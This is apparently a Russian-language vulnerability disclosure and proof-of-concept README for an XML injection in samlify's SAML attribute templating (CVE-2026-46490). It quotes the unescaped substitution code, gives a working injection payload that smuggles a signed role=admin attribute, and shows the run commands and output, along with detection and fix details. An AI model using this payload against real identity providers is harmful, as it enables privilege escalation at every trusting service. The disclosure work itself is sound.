
CVE-2026-46490 — samlify <2.13.0 SAML AttributeValue XML-инъекция -> повышение привилегий подписанного утверждения. Автономный PoC, проверено e2e.
AttributeValue библиотеки samlify → повышение привилегийsamlify
< 2.13.0экранирует подстановки шаблонов только в контекстах атрибутов. Значение, контролируемое пользователем (например,name), помещённое в текст элемента —<saml:AttributeValue>{Value}</saml:AttributeValue>— вставляется без экранирования, поэтому обычный пользователь может внедрить дополнительные элементы<saml:Attribute>(например,role=admin) в своё собственное утверждение SAML, подписанное IdP. Поскольку инъекция происходит до подписания, проверка подписи на стороне поставщика услуг (SP) проходит успешно, и он воспринимает подделанные атрибуты как достоверные.
src/libsaml.ts заменяет заполнители {tag} с помощью replaceTagsByValue → escapeTag:
replaceTagsByValue(rawXML, tagValues) {
Object.keys(tagValues).forEach(t => {
rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
});
return rawXML;
}
function escapeTag(replacement) {
return (_match, quote) => {
const text = String(replacement ?? '');
// "not having a quote means this interpolation isn't for an attribute, and so does not need escaping"
return quote ? `${quote}${xmlEscape(text)}` : text; // <-- текст элемента: НЕТ экранирования
};
}
Регулярное выражение захватывает опциональную предшествующую " как quote. В контексте атрибута (Name="{Name}") quote установлен, и значение экранируется через xmlEscape; в тексте элемента (>{attrEmail}<) предшествующая кавычка отсутствует, поэтому значение вставляется как есть.
Шаблон атрибута по умолчанию помещает значение в текст элемента:
<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>
Таким образом, контролируемое злоумышленником значение атрибута, содержащее </>, внедряет сырой XML.
Злоумышленник устанавливает свой собственный атрибут профиля (здесь email) в:
[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">
Это закрывает атрибут email, добавляет поддельный атрибут role=admin и повторно открывает фиктивный атрибут, чтобы завершающие </saml:AttributeValue></saml:Attribute> шаблона оставались сбалансированными. Затем IdP подписывает утверждение, включая поддельный атрибут. Совместимый со стандартами SP проверяет подпись (действительна) и читает role=admin.
cd lab && ./setup.sh # npm i [email protected] + generate IdP/SP keypairs
node poc.js
Output:
>>> INJECTION CONFIRMED: forged <saml:Attribute Name="role">admin smuggled into the signed assertion
extracted attributes: {"email":"[email protected]","role":"admin","ignore":[]}
>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin
PoC использует собственный IdP samlify (createLoginResponse, который выполняет уязвимую подстановку replaceTagsByValue и подпись) и SP (parseLoginResponse, который проверяет подпись и извлекает атрибуты). SP отображает role: "admin" — атрибут, который подделал злоумышленник, а не тот, который IdP намеревался выдать.
Любой пользователь, который может влиять на одно из своих значений атрибутов SAML (email, отображаемое имя, …) на IdP, основанном на samlify, может создать действительно подписанное утверждение, содержащее произвольные дополнительные атрибуты — членство в группах/ролях, права, флаги isAdmin — и повысить привилегии на каждом SP, доверяющем этому IdP. Проверка подписи SAML не помогает: подделка находится внутри подписанной области.
Проверяйте выданные/полученные утверждения на предмет значений атрибутов, содержащих XML-разметку (</saml:AttributeValue>, <saml:Attribute), а также на утверждения, содержащие больше элементов <saml:Attribute>, чем определено шаблоном IdP.
Смотрите ANALYSIS.md для получения информации о регулярном выражении подстановки, эвристике кавычек и исправлении.
| CVE | CVE-2026-46490 |
| Уведомление | GHSA-34r5-q4jw-r36m |
| Затронутые версии | samlify < 2.13.0 |
| Исправлено в | 2.13.0 |
| Класс | CWE-91 (XML-инъекция) → повышение привилегий |
| CVSS | 8.8 (Высокий) |
| Аутентификация | Аутентифицированный пользователь с низкими привилегиями (контролирует одно из своих значений атрибутов) |
| Статус | ПОДТВЕРЖДЕНО — полная цепочка IdP→SP воспроизведена с [email protected] |